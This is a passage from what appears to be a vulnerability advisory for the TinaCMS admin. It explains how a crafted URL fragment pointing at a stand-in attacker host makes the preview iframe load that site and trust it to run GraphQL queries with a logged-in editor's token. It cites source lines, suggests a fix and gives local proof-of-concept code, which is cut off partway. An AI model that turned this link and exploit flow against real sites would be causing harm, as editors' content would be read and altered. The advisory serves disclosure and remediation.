TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment

### Summary The TinaCMS admin builds its preview `<iframe src>` from the `/~/*` hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (`#/~//attacker.example/p`) becomes the protocol-relative URL `//attacker.example/p`, so the admin frames an external site. That same unvalidated string derives `expectedOrigin`, the only trust anchor for the admin↔preview `postMessage` channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin. One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor. ### Details Root cause — the router splat becomes the frame source with no same-origin check: ``` packages/tinacms/src/admin/index.tsx:16 HashRouter as Router, packages/tinacms/src/admin/index.tsx:329 path='/~/*' packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params['*']}`); packages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params['*']}`; packages/@tinacms/app/src/preview.tsx:24 src={props.url} ``` The leading `/` is meant to force a relative path, but `react-router-dom@6.30.3` returns the splat with its own leading slash for `/~//x`, producing `//x`. The iframe has no `sandbox` attribute and the admin bundle ships no CSP. The trust anchor is then computed from that same value: ``` packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url) packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin; packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject ``` Both guards pass for the attacker: `event.origin` *is* `expectedOrigin`, and `event.source` *is* the frame the admin itself loaded. `PreviewInner`'s URL-correction poll (`packages/tinacms/src/admin/index.tsx:189-200`) does not recover the frame: reading `ref.current.contentWindow.location.href` across origins throws an uncaught `SecurityError`, so `setReportedURL` never fires and no corrective `navigate()` happens. The PoC below includes that effect verbatim and the attack still completes. Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker: ``` packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' handler; zod validates types only, not query content packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables }) packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin) ``` `expandQuery` (`packages/@tinacms/app/src/lib/expand-query.ts:3-18`) is operation-agnostic, so mutations pass through unchanged. Default-enabled: `packages/@tinacms/app/src/App.tsx:70` always passes `preview={Preview}`, and `packages/tinacms/src/admin/index.tsx:327` registers `/~/*` whenever `preview` is truthy — so the route exists in every `tinacms build` output and in `tinacms dev`. Incomplete-fix note: `tinacms@3.9.3` / `@tinacms/app@2.5.6` (PR #7056, `c491fc5`) added the sender-side origin check, but never validated the URL that check compares against. Affected-range basis, stated plainly: I tested only `tinacms@3.12.1` / `@tinacms/app@2.5.12` (commit `0d38acf`). The ranges below are given as `<=` because the vulnerable lines are byte-identical across every commit available to me — a 123-commit shallow clone, earliest `8a86ffa` (2026-06-26), which predates the `3.9.3` hardening release — but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history. Suggested fix: normalise the splat to a same-origin path before it becomes `url` (reject a leading `/` or `\`), and have `getExpectedPreviewOrigin` refuse any origin other than `window.location.origin`. ### PoC Safe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository's `preview-origin.ts` byte-for-byte and reproduces `PreviewInner`/`Preview` line-for-line from the cited files; `cms.api.tina.request` is stubbed to return a marker so no real backend is touched. Environment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`. **Setup** ```bash git clone https://github.com/tinacms/tinacms.git tinacms-poc cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163 REPO=$PWD mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc npm init -y >/dev/null npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0 cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts ``` `victim/admin.tsx` — `PreviewInner` from `packages/tinacms/src/admin/index.tsx:170-210`, `Preview` from `packages/@tinacms/app/src/preview.tsx:10-26`, and the four `graphql-reducer.ts` steps (`:209-212`, `:548-556`, `:613-624` + `:973-978`, `:497-505`): ```tsx import React from 'react'; import { createRoot } from 'react-dom/client'; import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom'; import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin'; const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`); // Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin // this is an authenticated call to the content API with the editor's token. async function tinaRequest(query: string) { log('cms.api.tina.request() called with attacker query', query); return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } }; } function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) { const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]); // :209-212 React.useEffect(() => { log('expectedOrigin derived from preview url', { url, expectedOrigin }); (window as any).__poc_expectedOrigin = expectedOrigin; }, [expectedOrigin, url]); const handleMessage = React.useCallback(async (event: MessageEvent<any>) => { if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556 if (event.data.type === 'open') { // :613-624 log('ACCEPTED "open" message from', event.origin); const expandedData = await tinaRequest(event.data.query); // :973-978 postMessageToPreview(iframe.current?.contentWindow, { type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505 log('posted query result to', expectedOrigin); } }, [expectedOrigin]); React.useEffect(() => { window.addEventListener('message', handleMessage); return () => window.removeEventListener('message', handleMessage); }, [handleMessage]); } const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => { useGraphQLReducer(props.iframeRef, props.url); return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef} className='h-full w-full bg-white' src={props.url} />; // preview.tsx:24 }; const PreviewInner = ({ preview }: { preview: any }) => { // admin/index.tsx:170-210 const params = useParams(); const navigate = useNavigate(); const [url, setURL] = React.useState(`/${params['*']}`); const [reportedURL, setReportedURL] = React.useState<string | null>(null); const ref = React.useRef<HTMLIFrameElement>(null);